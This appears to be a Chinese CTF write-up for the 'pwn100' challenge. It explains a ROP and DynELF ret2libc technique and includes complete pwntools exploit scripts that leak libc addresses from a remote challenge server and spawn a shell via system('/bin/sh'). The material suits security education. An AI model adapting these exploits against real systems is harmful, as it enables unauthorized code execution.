title="0x03.checksec看一下保护"></a>0x03.checksec看一下保护</h3><pre class="line-numbers language-yaml"><code class="language-yaml"> <span class="token key atrule">Arch</span><span class="token punctuation">:</span> amd64<span class="token punctuation">-</span>64<span class="token punctuation">-</span>little <span class="token key atrule">RELRO</span><span class="token punctuation">:</span> Partial RELRO //可以修改GOT表 <span class="token key atrule">Stack</span><span class="token punctuation">:</span> No canary found <span class="token key atrule">NX</span><span class="token punctuation">:</span> NX enabled <span class="token key atrule">PIE</span><span class="token punctuation">:</span> No PIE (0x400000)//未开启地址随机化<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="0x04-利用思路:"><a href="#0x04-利用思路:" class="headerlink" title="0x04.利用思路:"></a>0x04.利用思路:</h3><blockquote><p>1.利用DynELF模块泄露system函数地址<br>2.构造rop链,写入”/bin/sh”<br>3.调用system函数</p></blockquote><h3 id="0x05-可以用vmmap查找binary文件地址"><a href="#0x05-可以用vmmap查找binary文件地址" class="headerlink" title="0x05.可以用vmmap查找binary文件地址"></a>0x05.可以用vmmap查找binary文件地址</h3><p><img src="https://img-blog.csdnimg.cn/20200316194318782.jpg" alt=""><br>这里找到一个 <code>rw-p</code>的地址,即<strong>可写地址 0x601000</strong>,pwn-200做的时候是用的bss段地址<code>bss_addr=elf.bss()</code>,但是这一题我看网上wp基本没有用bss段地址的,我自己试了一下用bss段地址打不通。</p><h3 id="0x06-用-ROPgadget-binary-pwn100-only-quot-pop-ret-quot-grep-rdi命令寻找ROP"><a href="#0x06-用-ROPgadget-binary-pwn100-only-quot-pop-ret-quot-grep-rdi命令寻找ROP" class="headerlink" title="0x06.用 ROPgadget --binary pwn100 --only "pop|ret" | grep rdi命令寻找ROP"></a>0x06.用 <code>ROPgadget --binary pwn100 --only "pop|ret" | grep rdi</code>命令寻找ROP</h3><p><img src="https://img-blog.csdnimg.cn/20200316194440265.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""></p><pre class="line-numbers language-python"><code class="language-python">poprdi_addr<span class="token operator">=</span><span class="token number">0x400763</span>pop6_addr<span class="token operator">=</span><span class="token number">0x40075a</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h3 id="0x07-32位程序和64位程序的差别"><a href="#0x07-32位程序和64位程序的差别" class="headerlink" title="0x07.32位程序和64位程序的差别"></a>0x07.32位程序和64位程序的差别</h3><blockquote><ul><li>32位程序中,函数调用是直接将参数压栈,需要用的时候直接将参数放在栈上,调用的函数就能直接取得参数并运算。</li><li>x64的gcc优化了x86的传参方式,x64程序设立了几个寄存器李存放参数,调用函数的时候先向寄存器之中放参数,当参数的数量大于寄存器的时候,才会向栈中放参数。</li></ul></blockquote><pre class="line-numbers language-powershell"><code class="language-powershell">fun<span class="token punctuation">(</span>1<span class="token punctuation">,</span>2<span class="token punctuation">,</span>3<span class="token punctuation">,</span>4<span class="token punctuation">,</span>5<span class="token punctuation">,</span>6<span class="token punctuation">,</span>7<span class="token punctuation">,</span>8<span class="token punctuation">,</span>9<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">/</span><span class="token operator">/</span>当我们调用这个函数的时候<span class="token operator">/</span><span class="token operator">/</span>x86传参的方式是这样:push 9<span class="token punctuation">;</span>push 8<span class="token punctuation">;</span>···push 1<span class="token punctuation">;</span>call fun<span class="token punctuation">;</span><span class="token operator">/</span><span class="token operator">/</span>x64传参方式:mov r9d 6<span class="token punctuation">;</span>mov r8d 5<span class="token punctuation">;</span>mov ecx 4<span class="token punctuation">;</span>mov edx 3<span class="token punctuation">;</span>mov esi 2<span class="token punctuation">;</span>mov edi 1<span class="token punctuation">;</span>mov DWORD PTR <span class="token namespace">[rsp+16]</span><span class="token punctuation">,</span> 9<span class="token punctuation">;</span>mov DWORD PTR <span class="token namespace">[rsp+8]</span><span class="token punctuation">,</span> 8<span class="token punctuation">;</span>mov DWORD PTR <span class="token namespace">[rsp]</span><span class="token punctuation">,</span> 7<span class="token punctuation">;</span>call fun<span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>传参的顺序,默认是从最后一个参数先开始传入,x86和x64都是一样。</strong><br><a href="https://blog.csdn.net/qinying001/article/details/102922215" target="_blank" rel="noopener">参考blog</a></p><h3 id="0x08-写出leak函数"><a href="#0x08-写出leak函数" class="headerlink" title="0x08.写出leak函数"></a>0x08.写出leak函数</h3><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">def</span> <span class="token function">leak</span><span class="token punctuation">(</span>address<span class="token punctuation">)</span><span class="token punctuation">:</span> count <span class="token operator">=</span> <span class="token number">0</span> up <span class="token operator">=</span> <span class="token string">''</span> content <span class="token operator">=</span> <span class="token string">''</span> payload <span class="token operator">=</span> junk payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>pop_rdi<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#给put的参数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>address<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#leak函数的参数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>puts_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#调用put函数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>start_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#跳转到start,恢复栈</span> payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span><span class="token string">'B'</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#填充到200字节,触发循环的break</span> r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span> r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"bye~\n"</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="利用过程"><a href="#利用过程" class="headerlink" title="利用过程"></a>利用过程</h2><h3 id="0x01-先尝试泄露"><a href="#0x01-先尝试泄露" class="headerlink" title="0x01.先尝试泄露"></a>0x01.先尝试泄露</h3><p><img src="https://img-blog.csdnimg.cn/20200316194453783.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzA5MjIzMg==,size_16,color_FFFFFF,t_70" alt=""><br><img src="https://img-blog.csdnimg.cn/20200316194502980.jpg" alt=""><br><strong>0x4个字节时候才是需要泄露的地址</strong></p><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">def</span> <span class="token function">leak</span><span class="token punctuation">(</span>address<span class="token punctuation">)</span><span class="token punctuation">:</span> count <span class="token operator">=</span> <span class="token number">0</span> up <span class="token operator">=</span> <span class="token string">''</span> content <span class="token operator">=</span> <span class="token string">''</span> payload <span class="token operator">=</span> junk payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>pop_rdi<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#给put的参数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>address<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#leak函数的参数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>puts_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#调用put函数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>start_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#跳转到start,恢复栈</span> payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span><span class="token string">'B'</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#填充到200字节,触发循环的break</span> r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span> content <span class="token operator">=</span> r<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">:</span><span class="token punctuation">]</span> <span class="token keyword">return</span> content<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="0x02-下面尝试补充成exp"><a href="#0x02-下面尝试补充成exp" class="headerlink" title="0x02.下面尝试补充成exp"></a>0x02.下面尝试补充成exp</h3><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>r <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"111.198.29.45"</span><span class="token punctuation">,</span><span class="token number">36839</span><span class="token punctuation">)</span>context<span class="token punctuation">(</span>log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">,</span>arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">)</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./pwn100"</span><span class="token punctuation">)</span>puts_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">'puts'</span><span class="token punctuation">]</span>read_got <span class="token operator">=</span> elf<span class="token punctuation">.</span>gpt<span class="token punctuation">[</span><span class="token string">'read'</span><span class="token punctuation">]</span>pop_rdi <span class="token operator">=</span> <span class="token number">0x400763</span>junk <span class="token operator">=</span> <span class="token string">"A"</span><span class="token operator">*</span><span class="token number">72</span>rop1 <span class="token operator">=</span> <span class="token number">0x40075a</span> <span class="token comment" spellcheck="true">#pop rbx,rbp,r12,r13,r14,r15</span>rop2 <span class="token operator">=</span> <span class="token number">0x400740</span> <span class="token comment" spellcheck="true">#rdx(r13),rsi(r14),edi(r15)</span>start_addr <span class="token operator">=</span> <span class="token number">0x400550</span>binsh_addr <span class="token operator">=</span> <span class="token number">0x601000</span> <span class="token comment" spellcheck="true">#向该地址写入"/bin/sh"</span><span class="token keyword">def</span> <span class="token function">leak</span><span class="token punctuation">(</span>address<span class="token punctuation">)</span><span class="token punctuation">:</span> count <span class="token operator">=</span> <span class="token number">0</span> up <span class="token operator">=</span> <span class="token string">''</span> content <span class="token operator">=</span> <span class="token string">''</span> payload <span class="token operator">=</span> junk payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>pop_rdi<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#给put的参数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>address<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#leak函数的参数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>puts_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#调用put函数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>start_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#跳转到start,恢复栈</span> payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span><span class="token string">'B'</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#填充到200字节,触发循环的break</span> r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span> content <span class="token operator">=</span> r<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">:</span><span class="token punctuation">]</span> log<span class="token punctuation">.</span>info<span class="token punctuation">(</span><span class="token string">"%#x => %s"</span> <span class="token operator">%</span> <span class="token punctuation">(</span>address<span class="token punctuation">,</span><span class="token punctuation">(</span>content <span class="token operator">or</span> <span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'hex'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> contentdyn <span class="token operator">=</span> DynELF<span class="token punctuation">(</span>leak<span class="token punctuation">,</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./pwn100"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>system_addr <span class="token operator">=</span> dyn<span class="token punctuation">.</span>lookup<span class="token punctuation">(</span><span class="token string">'system'</span><span class="token punctuation">,</span><span class="token string">'libc'</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>info<span class="token punctuation">(</span><span class="token string">"system_addr => %#x"</span><span class="token punctuation">,</span>system_addr<span class="token punctuation">)</span>payload <span class="token operator">=</span> junk <span class="token operator">+</span> p64<span class="token punctuation">(</span>rop1<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>read_got<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">+</span>p64<span class="token punctuation">(</span>binsh_addr<span class="token punctuation">)</span> <span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#调用read向可写段写入</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>rop2<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#调用rop2</span>payload <span class="token operator">+=</span> <span class="token string">"\x00"</span><span class="token operator">*</span><span class="token number">56</span><span class="token comment" spellcheck="true">#rop2技术后跳转到rop1,需要再填充56字节,(pop*6+ret)*8</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>start_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#调整栈帧</span>payload <span class="token operator">+=</span> payload<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span><span class="token string">"B"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"bye~\n"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">"/bin/sh\x00"</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> junk <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop_rdi<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>binsh_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span>payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span><span class="token string">"B"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>r<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>会发现这样的exp打不通</strong></p><h3 id="0x03-寻找原因"><a href="#0x03-寻找原因" class="headerlink" title="0x03.寻找原因"></a>0x03.寻找原因</h3><p><strong>原因出在了leak函数上</strong></p><blockquote><p>puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含x00截断符,输出就会终止,且会自动将“n”追加到输出字符串的末尾,这是puts函数的缺点,而优点就是需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。</p></blockquote><h3 id="0x04-利用puts函数的DynELF模板"><a href="#0x04-利用puts函数的DynELF模板" class="headerlink" title="0x04.利用puts函数的DynELF模板"></a>0x04.利用puts函数的DynELF模板</h3><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">def</span> <span class="token function">leak</span><span class="token punctuation">(</span>address<span class="token punctuation">)</span><span class="token punctuation">:</span> count <span class="token operator">=</span> <span class="token number">0</span> data <span class="token operator">=</span> <span class="token string">""</span> payload <span class="token operator">=</span> xxx p<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span> <span class="token keyword">print</span> p<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"xxxn"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#一定要在puts前释放完输出</span> up <span class="token operator">=</span> <span class="token string">""</span> <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span> c <span class="token operator">=</span> p<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> count <span class="token operator">+=</span> <span class="token number">1</span> <span class="token keyword">if</span> up <span class="token operator">==</span> <span class="token string">'n'</span> <span class="token operator">and</span> c <span class="token operator">==</span> <span class="token string">"x"</span><span class="token punctuation">:</span> <span class="token comment" spellcheck="true">#一定要找到泄漏信息的字符串特征</span> data <span class="token operator">=</span> buf<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span> data <span class="token operator">+=</span> <span class="token string">"x00"</span> <span class="token keyword">break</span> <span class="token keyword">else</span><span class="token punctuation">:</span> buf <span class="token operator">+=</span> c up <span class="token operator">=</span> c data <span class="token operator">=</span> buf<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">4</span><span class="token punctuation">]</span> log<span class="token punctuation">.</span>info<span class="token punctuation">(</span><span class="token string">"%#x => %s"</span> <span class="token operator">%</span> <span class="token punctuation">(</span>address<span class="token punctuation">,</span> <span class="token punctuation">(</span>data <span class="token operator">or</span> <span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'hex'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> data<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="0x05-调整exp"><a href="#0x05-调整exp" class="headerlink" title="0x05.调整exp"></a>0x05.调整exp</h3><pre class="line-numbers language-python"><code class="language-python"><span class="token comment" spellcheck="true"># -*- coding: UTF-8 -*-</span><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>r <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">"111.198.29.45"</span><span class="token punctuation">,</span><span class="token number">36839</span><span class="token punctuation">)</span>context<span class="token punctuation">(</span>log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">,</span>arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">)</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./pwn100"</span><span class="token punctuation">)</span>puts_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">'puts'</span><span class="token punctuation">]</span>read_got <span class="token operator">=</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">'read'</span><span class="token punctuation">]</span>pop_rdi <span class="token operator">=</span> <span class="token number">0x400763</span>junk <span class="token operator">=</span> <span class="token string">"A"</span><span class="token operator">*</span><span class="token number">72</span>rop1 <span class="token operator">=</span> <span class="token number">0x40075a</span> <span class="token comment" spellcheck="true">#pop rbx,rbp,r12,r13,r14,r15</span>rop2 <span class="token operator">=</span> <span class="token number">0x400740</span> <span class="token comment" spellcheck="true">#rdx(r13),rsi(r14),edi(r15)</span>start_addr <span class="token operator">=</span> <span class="token number">0x400550</span>binsh_addr <span class="token operator">=</span> <span class="token number">0x601000</span> <span class="token comment" spellcheck="true">#向该地址写入"/bin/sh"</span><span class="token keyword">def</span> <span class="token function">leak</span><span class="token punctuation">(</span>address<span class="token punctuation">)</span><span class="token punctuation">:</span> count <span class="token operator">=</span> <span class="token number">0</span> up <span class="token operator">=</span> <span class="token string">''</span> content <span class="token operator">=</span> <span class="token string">''</span> payload <span class="token operator">=</span> junk payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>pop_rdi<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#给put的参数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>address<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#leak函数的参数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>puts_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#调用put函数</span> payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>start_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#跳转到start,恢复栈</span> payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span><span class="token string">'B'</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#填充到200字节,触发循环的break</span> r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span> r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"bye~\n"</span><span class="token punctuation">)</span> <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span> c <span class="token operator">=</span> r<span class="token punctuation">.</span>recv<span class="token punctuation">(</span>numb<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">0.5</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#每次读取一个字节,设置超时时间确保没有遗漏</span> count <span class="token operator">+=</span> <span class="token number">1</span> <span class="token keyword">if</span> up <span class="token operator">==</span><span class="token string">'\n'</span> <span class="token operator">and</span> c <span class="token operator">==</span> <span class="token string">''</span><span class="token punctuation">:</span> <span class="token comment" spellcheck="true">#上一个字符是回车且读不到其他字符,说明读完了</span> content <span class="token operator">=</span> content<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token string">'\x00'</span><span class="token comment" spellcheck="true">#最后一个字符设置为\x00</span> <span class="token keyword">break</span> <span class="token keyword">else</span><span class="token punctuation">:</span> content <span class="token operator">+=</span> c <span class="token comment" spellcheck="true">#输出拼接</span> up <span class="token operator">=</span> c <span class="token comment" spellcheck="true">#保存最后一个字符</span> content <span class="token operator">=</span> content<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token comment" spellcheck="true">#截取输出的一段作为返回值,提供给DynELF处理</span> log<span class="token punctuation">.</span>info<span class="token punctuation">(</span><span class="token string">"%#x => %s"</span> <span class="token operator">%</span> <span class="token punctuation">(</span>address<span class="token punctuation">,</span><span class="token punctuation">(</span>content <span class="token operator">or</span> <span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'hex'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> contentdyn <span class="token operator">=</span> DynELF<span class="token punctuation">(</span>leak<span class="token punctuation">,</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./pwn100"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>system_addr <span class="token operator">=</span> dyn<span class="token punctuation">.</span>lookup<span class="token punctuation">(</span><span class="token string">'system'</span><span class="token punctuation">,</span><span class="token string">'libc'</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>info<span class="token punctuation">(</span><span class="token string">"system_addr => %#x"</span><span class="token punctuation">,</span>system_addr<span class="token punctuation">)</span>payload <span class="token operator">=</span> junk <span class="token operator">+</span> p64<span class="token punctuation">(</span>rop1<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>read_got<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">+</span>p64<span class="token punctuation">(</span>binsh_addr<span class="token punctuation">)</span> <span class="token operator">+</span>p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#调用read向可写段写入</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>rop2<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#调用rop2</span>payload <span class="token operator">+=</span> <span class="token string">"\x00"</span><span class="token operator">*</span><span class="token number">56</span><span class="token comment" spellcheck="true">#rop2技术后跳转到rop1,需要再填充56字节,(pop*6+ret)*8</span>payload <span class="token operator">+=</span> p64<span class="token punctuation">(</span>start_addr<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#调整栈帧</span>payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span><span class="token string">"B"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>r<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">"bye~\n"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">"/bin/sh\x00"</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> junk <span class="token operator">+</span> p64<span class="token punctuation">(</span>pop_rdi<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>binsh_addr<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span>payload <span class="token operator">=</span> payload<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span><span class="token string">"B"</span><span class="token punctuation">)</span>r<span class="token punctuation">.</span>send<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>r<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ul><li><p>要认识到32位程序和64位程序传参的区别</p></li><li><p>要学会熟练使用DynELF应对可重复泄露的漏洞</p><p>参考博客:<br><a href="https://www.anquanke.com/post/id/85129" target="_blank" rel="noopener">【技术分享】借助DynELF实现无libc的漏洞利用小结</a><br><a href="https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&highlight=pwn" target="_blank" rel="noopener">Linux pwn入门教程(5)——利用漏洞获取libc </a></p></li></ul><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> pwn </category>
</categories>
<tags>
<tag> rop </tag>
</tags>
</entry>
<entry>
<title>堆指针越界&堆上布置shellcode|攻防世界pwn进阶区 note-service2</title>
<link href="/2020/03/21/shellcode/"/>
<url>/2020/03/21/shellcode/</url>
